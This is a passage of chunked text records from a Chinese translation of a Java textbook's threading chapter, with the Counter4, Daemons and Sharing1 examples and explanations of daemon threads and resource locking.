Ｔｈｒｅａｄ（Ｃｏｕｎｔｅｒ３．ｔｈｉｓ）； ｓｅｌｆＴｈｒｅａｄ．ｓｔａｒｔ（）； ｝ ｝ ｝ ｃｌａｓｓ ＯｎＯｆｆＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｒｕｎＦｌａｇ ＝ ！ ｒｕｎＦｌａｇ； ｝ ｝ ４９４ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｕｎｔｅｒ３ ａｐｐｌｅｔ ＝ ｎｅｗ Ｃｏｕｎｔｅｒ３（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｃｏｕｎｔｅｒ３＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "若某样东西有一个 Ｒｕｎｎａｂｌｅ 接口，实际只是意味着它有一个 ｒｕｎ（）方法，但不存在与之相关的任何特殊东 西——它不具有任何天生的线程处理能力，这与那些从 Ｔｈｒｅａｄ 继承的类是不同的。"},
    {"text": "但为这种便利也是要付出代价的——只可为那个特定的对象运行单独一个线程 （尽管可创建那种类型的多个对象，或者在不同的类里创建其他对象）。"},
    {"text": "但这是一种更常规的方案，而且更易理解，所以尽管前例揭示了 我们经常都能看到的编码样式，但并不推荐在大多数情况下都那样做，因为它只是稍微复杂一些，而且灵活 性稍低一些。"},
    {"text": "Ｔｉｃｋｅｒ 中的所有字段都具有 ｐｒｉｖａｔｅ（私有）属性， 这意味着 Ｔｉｃｋｅｒ 的具体实现方案可根据实际情况任意修改，其中包括修改用于获取和显示信息的数据组件的 数量及类型。"},
    {"text": "创建好一个 Ｔｉｃｋｅｒ 对象以后，构建器便请求一个 ＡＷＴ 容器（Ｃｏｎｔａｉｎｅｒ）的句柄——Ｔｉｃｋｅｒ 用 自己的可视组件填充那个容器。"},
    {"text": "／／： Ｃｏｕｎｔｅｒ４．ｊａｖａ ／／ Ｉｆ ｙｏｕ ｓｅｐａｒａｔｅ ｙｏｕｒ ｔｈｒｅａｄ ｆｒｏｍ ｔｈｅ ｍａｉｎ ／／ ｃｌａｓｓ， ｙｏｕ ｃａｎ ｈａｖｅ ａｓ ｍａｎｙ ｔｈｒｅａｄｓ ａｓ ｙｏｕ ／／ ｗａｎｔ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ４９５ ｃｌａｓｓ Ｔｉｃｋｅｒ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｏｇｇｌｅ＂）； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（１０）； ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｒｕｎＦｌａｇ ＝ ｔｒｕｅ； ｐｕｂｌｉｃ Ｔｉｃｋｅｒ（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＴｏｇｇｌｅＬ（））； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ａｄｄ（ｔ）； ｐ．ａｄｄ（ｂ）； ｃ．ａｄｄ（ｐ）； ｝ ｃｌａｓｓ ＴｏｇｇｌｅＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｒｕｎＦｌａｇ ＝ ！ ｒｕｎＦｌａｇ； ｝ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｉｆ（ｒｕｎＦｌａｇ） ｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ＋＋））； ｔｒｙ ｛ ｓｌｅｅｐ（１００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｕｎｔｅｒ４ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｓｔａｒｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔａｒｔ＂）； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｓｔａｒｔｅｄ ＝ ｆａｌｓｅ； ｐｒｉｖａｔｅ Ｔｉｃｋｅｒ［］ ｓ； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｉｓＡｐｐｌｅｔ ＝ ｔｒｕｅ； ｐｒｉｖａｔｅ ｉｎｔ ｓｉｚｅ； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ／／ Ｇｅｔ ｐａｒａｍｅｔｅｒ ＂ｓｉｚｅ＂ ｆｒｏｍ Ｗｅｂ ｐａｇｅ： ｉｆ（ｉｓＡｐｐｌｅｔ） ｓｉｚｅ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｇｅｔＰａｒａｍｅｔｅｒ（＂ｓｉｚｅ＂））； ｓ ＝ ｎｅｗ Ｔｉｃｋｅｒ［ｓｉｚｅ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］ ＝ ｎｅｗ Ｔｉｃｋｅｒ（ｔｈｉｓ）； ｓｔａｒｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔａｒｔＬ（））； ａｄｄ（ｓｔａｒｔ）； ｝ ｃｌａｓｓ ＳｔａｒｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（！ ｓｔａｒｔｅｄ） ｛ ｓｔａｒｔｅｄ ＝ ｔｒｕｅ； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］．ｓｔａｒｔ（）； ｝ ４９６ ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｕｎｔｅｒ４ ａｐｐｌｅｔ ＝ ｎｅｗ Ｃｏｕｎｔｅｒ４（）； ／／ Ｔｈｉｓ ｉｓｎ＇ｔ ａｎ ａｐｐｌｅｔ， ｓｏ ｓｅｔ ｔｈｅ ｆｌａｇ ａｎｄ ／／ ｐｒｏｄｕｃｅ ｔｈｅ ｐａｒａｍｅｔｅｒ ｖａｌｕｅｓ ｆｒｏｍ ａｒｇｓ： ａｐｐｌｅｔ．ｉｓＡｐｐｌｅｔ ＝ ｆａｌｓｅ； ａｐｐｌｅｔ．ｓｉｚｅ ＝ （ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０ ？ ５ ： Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［０］））； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｃｏｕｎｔｅｒ４＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（２００， ａｐｐｌｅｔ．ｓｉｚｅ ＊ ５０）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "下面是网页中长度参数大致的样子，它们嵌于对程序片（ａｐｐｌｅｔ）的描述内容 中： ＜ａｐｐｌｅｔ ｃｏｄｅ＝Ｃｏｕｎｔｅｒ４ ｗｉｄｔｈ＝６００ ｈｅｉｇｈｔ＝６００＞ ＜ｐａｒａｍ ｎａｍｅ＝ｓｉｚｅ ｖａｌｕｅ＝＂２０＂＞ ＜／ａｐｐｌｅｔ＞ 其中，ｐａｒａｍ，ｎａｍｅ 和 ｖａｌｕｅ 是所有 Ｗｅｂ 页都适用的关键字。"},
    {"text": "换言之， 不可将下述代码作为类定义的一部分使用（应该位于任何方法的外部）： ｉｎｓｔ ｓｉｚｅ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｇｅｔＰａｒａｍｅｔｅｒ（＂Ｓｉｚｅ＂））；"},
    {"text": "按下按钮以后，那个特定的线程就会出现一个失败的 ｒｕｎＦｌａｇ，而且 ｒｕｎ（）会深深 地陷入一个无限循环——很难在多任务处理期间中止退出。"},
    {"text": "１ ４ ． １ ． ５ Ｄ ａ ｅ ｍ ｏ ｎ 线程 “Ｄａｅｍｏｎ”线程的作用是在程序的运行期间于后台提供一种“常规”服务，但它并不属于程序的一个基本部 分。"},
    {"text": "通过调用 ｉｓＤａｅｍｏｎ（），可调查一个线程是不是一个 Ｄａｅｍｏｎ，而且能用 ｓｅｔＤａｅｍｏｎ（）打开或者关闭一个线程的 Ｄａｅｍｏｎ 状态。"},
    {"text": "下面这个例子演示了 Ｄａｅｍｏｎ 线程的用法： ／／： Ｄａｅｍｏｎｓ．ｊａｖａ ／／ Ｄａｅｍｏｎｉｃ ｂｅｈａｖｉｏｒ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｃｌａｓｓ Ｄａｅｍｏｎ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＳＩＺＥ ＝ １０； ｐｒｉｖａｔｅ Ｔｈｒｅａｄ［］ ｔ ＝ ｎｅｗ Ｔｈｒｅａｄ［ＳＩＺＥ］； ｐｕｂｌｉｃ Ｄａｅｍｏｎ（） ｛ ｓｅｔＤａｅｍｏｎ（ｔｒｕｅ）； ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＳＩＺＥ； ｉ＋＋） ｔ［ｉ］ ＝ ｎｅｗ ＤａｅｍｏｎＳｐａｗｎ（ｉ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＳＩＺＥ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｔ［＂ ＋ ｉ ＋ ＂］．ｉｓＤａｅｍｏｎ（） ＝ ＂ ＋ ｔ［ｉ］．ｉｓＤａｅｍｏｎ（））； ｗｈｉｌｅ（ｔｒｕｅ） ｙｉｅｌｄ（）； ｝ ｝ ｃｌａｓｓ ＤａｅｍｏｎＳｐａｗｎ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｕｂｌｉｃ ＤａｅｍｏｎＳｐａｗｎ（ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ＤａｅｍｏｎＳｐａｗｎ ＂ ＋ ｉ ＋ ＂ ｓｔａｒｔｅｄ＂）； ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｙｉｅｌｄ（）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｄａｅｍｏｎｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｔｈｒｅａｄ ｄ ＝ ｎｅｗ Ｄａｅｍｏｎ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ４９８ ＂ｄ．ｉｓＤａｅｍｏｎ（） ＝ ＂ ＋ ｄ．ｉｓＤａｅｍｏｎ（））； ／／ Ａｌｌｏｗ ｔｈｅ ｄａｅｍｏｎ ｔｈｒｅａｄｓ ｔｏ ｆｉｎｉｓｈ ／／ ｔｈｅｉｒ ｓｔａｒｔｕｐ ｐｒｏｃｅｓｓｅｓ： ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｓｔｄｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（Ｓｙｓｔｅｍ．ｉｎ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗａｉｔｉｎｇ ｆｏｒ ＣＲ＂）； ｔｒｙ ｛ ｓｔｄｉｎ．ｒｅａｄＬｉｎｅ（）；"},
    {"text": "｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｝ ｝ ／／／：￣ Ｄａｅｍｏｎ 线程可将自己的 Ｄａｅｍｏｎ 标记设置成“真”，然后产生一系列其他线程，而且认为它们也具有 Ｄａｅｍｏｎ 属性。"},
    {"text": "所以能 看到启动所有 Ｄａｅｍｏｎ 线程后显示出来的结果，Ｓｙｓｔｅｍ．ｉｎ 也进行了相应的设置，使程序中断前能等待一个回 车。 如果不进行这样的设置，就只能看到创建 Ｄａｅｍｏｎ 线程的一部分结果（试试将 ｒｅａｄＬｉｎｅ（）代码换成不同 长度的 ｓｌｅｅｐ（）调用，看看会有什么表现）。"},
    {"text": "由于只有一 个实体，所以永远不必担心会有两个实体同时试图使用相同的资源，就象两个人同时都想停到一个车位，同 时都想通过一扇门，甚至同时发话。"},
    {"text": "可能会有两个甚至更多的线程试图同时同一个有限的资源。 必 须对这种潜在资源冲突进行预防，否则就可能发生两个线程同时访问一个银行帐号，打印到同一台计算机， 以及对同一个值进行调整等等。"},
    {"text": "下面是程序的第一个版本： ／／： Ｓｈａｒｉｎｇ１．ｊａｖａ ／／ Ｐｒｏｂｌｅｍｓ ｗｉｔｈ ｒｅｓｏｕｒｃｅ ｓｈａｒｉｎｇ ｗｈｉｌｅ ｔｈｒｅａｄｉｎｇ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｃｌａｓｓ ＴｗｏＣｏｕｎｔｅｒ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｓｔａｒｔｅｄ ＝ ｆａｌｓｅ； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｔ１ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（５）， ｔ２ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（５）； ｐｒｉｖａｔｅ Ｌａｂｅｌ ｌ ＝ ｎｅｗ Ｌａｂｅｌ（＂ｃｏｕｎｔ１ ＝＝ ｃｏｕｎｔ２＂）； ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔ１ ＝ ０， ｃｏｕｎｔ２ ＝ ０； ／／ Ａｄｄ ｔｈｅ ｄｉｓｐｌａｙ ｃｏｍｐｏｎｅｎｔｓ ａｓ ａ ｐａｎｅｌ ４９９ ／／ ｔｏ ｔｈｅ ｇｉｖｅｎ ｃｏｎｔａｉｎｅｒ： ｐｕｂｌｉｃ ＴｗｏＣｏｕｎｔｅｒ（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ａｄｄ（ｔ１）； ｐ．ａｄｄ（ｔ２）； ｐ．ａｄｄ（ｌ）； ｃ．ａｄｄ（ｐ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｔａｒｔ（） ｛ ｉｆ（！ ｓｔａｒｔｅｄ） ｛ ｓｔａｒｔｅｄ ＝ ｔｒｕｅ； ｓｕｐｅｒ．ｓｔａｒｔ（）； ｝ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｔ１．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ１＋＋））； ｔ２．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ２＋＋））； ｔｒｙ ｛ ｓｌｅｅｐ（５００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｙｎｃｈＴｅｓｔ（） ｛ Ｓｈａｒｉｎｇ１．ｉｎｃｒｅｍｅｎｔＡｃｃｅｓｓ（）； ｉｆ（ｃｏｕｎｔ１ ！ ＝ ｃｏｕｎｔ２） ｌ．ｓｅｔＴｅｘｔ（＂Ｕｎｓｙｎｃｈｅｄ＂）； ｝ ｝ ｃｌａｓｓ Ｗａｔｃｈｅｒ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ Ｓｈａｒｉｎｇ１ ｐ； ｐｕｂｌｉｃ Ｗａｔｃｈｅｒ（Ｓｈａｒｉｎｇ１ ｐ） ｛ ｔｈｉｓ．ｐ ＝ ｐ； ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐ．ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｐ．ｓ［ｉ］．ｓｙｎｃｈＴｅｓｔ（）； ｔｒｙ ｛ ｓｌｅｅｐ（５００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｈａｒｉｎｇ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ＴｗｏＣｏｕｎｔｅｒ［］ ｓ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ａｃｃｅｓｓＣｏｕｎｔ ＝ ０； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ＴｅｘｔＦｉｅｌｄ ａＣｏｕｎｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂０＂， １０）； ５００ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｉｎｃｒｅｍｅｎｔＡｃｃｅｓｓ（） ｛ ａｃｃｅｓｓＣｏｕｎｔ＋＋； ａＣｏｕｎｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ａｃｃｅｓｓＣｏｕｎｔ））； ｝ ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｓｔａｒｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔａｒｔ＂）， ｏｂｓｅｒｖｅｒ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｏｂｓｅｒｖｅ＂）； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｉｓＡｐｐｌｅｔ ＝ ｔｒｕｅ； ｐｒｉｖａｔｅ ｉｎｔ ｎｕｍＣｏｕｎｔｅｒｓ ＝ ０； ｐｒｉｖａｔｅ ｉｎｔ ｎｕｍＯｂｓｅｒｖｅｒｓ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｉｆ（ｉｓＡｐｐｌｅｔ） ｛ ｎｕｍＣｏｕｎｔｅｒｓ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｇｅｔＰａｒａｍｅｔｅｒ（＂ｓｉｚｅ＂））； ｎｕｍＯｂｓｅｒｖｅｒｓ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ ｇｅｔＰａｒａｍｅｔｅｒ（＂ｏｂｓｅｒｖｅｒｓ＂））； ｝ ｓ ＝ ｎｅｗ ＴｗｏＣｏｕｎｔｅｒ［ｎｕｍＣｏｕｎｔｅｒｓ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］ ＝ ｎｅｗ ＴｗｏＣｏｕｎｔｅｒ（ｔｈｉｓ）； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｓｔａｒｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔａｒｔＬ（））； ｐ．ａｄｄ（ｓｔａｒｔ）； ｏｂｓｅｒｖｅｒ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＯｂｓｅｒｖｅｒＬ（））； ｐ．ａｄｄ（ｏｂｓｅｒｖｅｒ）； ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ａｃｃｅｓｓ Ｃｏｕｎｔ＂））； ｐ．ａｄｄ（ａＣｏｕｎｔ）； ａｄｄ（ｐ）； ｝ ｃｌａｓｓ ＳｔａｒｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］．ｓｔａｒｔ（）； ｝ ｝ ｃｌａｓｓ ＯｂｓｅｒｖｅｒＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｎｕｍＯｂｓｅｒｖｅｒｓ； ｉ＋＋） ｎｅｗ Ｗａｔｃｈｅｒ（Ｓｈａｒｉｎｇ１．ｔｈｉｓ）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｈａｒｉｎｇ１ ａｐｐｌｅｔ ＝ ｎｅｗ Ｓｈａｒｉｎｇ１（）；"},
    {"text": "／／ Ｔｈｉｓ ｉｓｎ＇ｔ ａｎ ａｐｐｌｅｔ， ｓｏ ｓｅｔ ｔｈｅ ｆｌａｇ ａｎｄ ／／ ｐｒｏｄｕｃｅ ｔｈｅ ｐａｒａｍｅｔｅｒ ｖａｌｕｅｓ ｆｒｏｍ ａｒｇｓ： ａｐｐｌｅｔ．ｉｓＡｐｐｌｅｔ ＝ ｆａｌｓｅ； ａｐｐｌｅｔ．ｎｕｍＣｏｕｎｔｅｒｓ ＝ （ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０ ？ ５ ： Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［０］））； ａｐｐｌｅｔ．ｎｕｍＯｂｓｅｒｖｅｒｓ ＝ （ａｒｇｓ．ｌｅｎｇｔｈ ＜ ２ ？ ５ ： ５０１ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［１］））； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｓｈａｒｉｎｇ１＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３５０， ａｐｐｌｅｔ．ｎｕｍＣｏｕｎｔｅｒｓ ＊１００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "但是首先，它调用的是类 Ｓｈａｒｉｎｇ１ 的一个静态成员，以便增值和显示一个访问 计数器，指出这种检查已成功进行了多少次（这样做的理由会在本例的其他版本中变得非常明显）。"},
    {"text": "Ｓｈａｒｉｎｇ１ 包含了 ＴｗｏＣｏｕｎｔｅｒ 对象的一个数组，它通过 ｉｎｉｔ（）进行初始化，并在我们按下“ｓｔａｒｔ”按钮后作 为线程启动。"},
    {"text": "注意为了让它作为一个程序片在浏览器中运行，Ｗｅｂ 页需要包含下面这几行： ＜ａｐｐｌｅｔ ｃｏｄｅ＝Ｓｈａｒｉｎｇ１ ｗｉｄｔｈ＝６５０ ｈｅｉｇｈｔ＝５００＞ ＜ｐａｒａｍ ｎａｍｅ＝ｓｉｚｅ ｖａｌｕｅ＝＂２０＂＞ ＜ｐａｒａｍ ｎａｍｅ＝ｏｂｓｅｒｖｅｒｓ ｖａｌｕｅ＝＂１＂＞ ＜／ａｐｐｌｅｔ＞ 可自行改变宽度、高度以及参数，根据自己的意愿进行试验。"},
    {"text": "在 ＴｗｏＣｏｕｎｔｅｒ．ｒｕｎ（）中，无限循环只是不断地重复相邻的行： ｔ１．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ１＋＋））；"},
    {"text": "但为了让多 ５０２ 线程机制能够正常运转，需要采取一些措施来防止两个线程访问相同的资源——至少在关键的时期。 为防止出现这样的冲突，只需在线程使用一个资源时为其加锁即可。 访问资源的第一个线程会其加上锁以 后，其他线程便不能再使用那个资源，除非被解锁。"},
    {"text": "由于我们通常将数据元 素设为从属于 ｐｒｉｖａｔｅ（私有）类，然后只通过方法访问那些内存，所以只需将一个特定的方法设为 ｓｙｎｃｈｒｏｎｉｚｅｄ（同步的），便可有效地防止冲突。"},
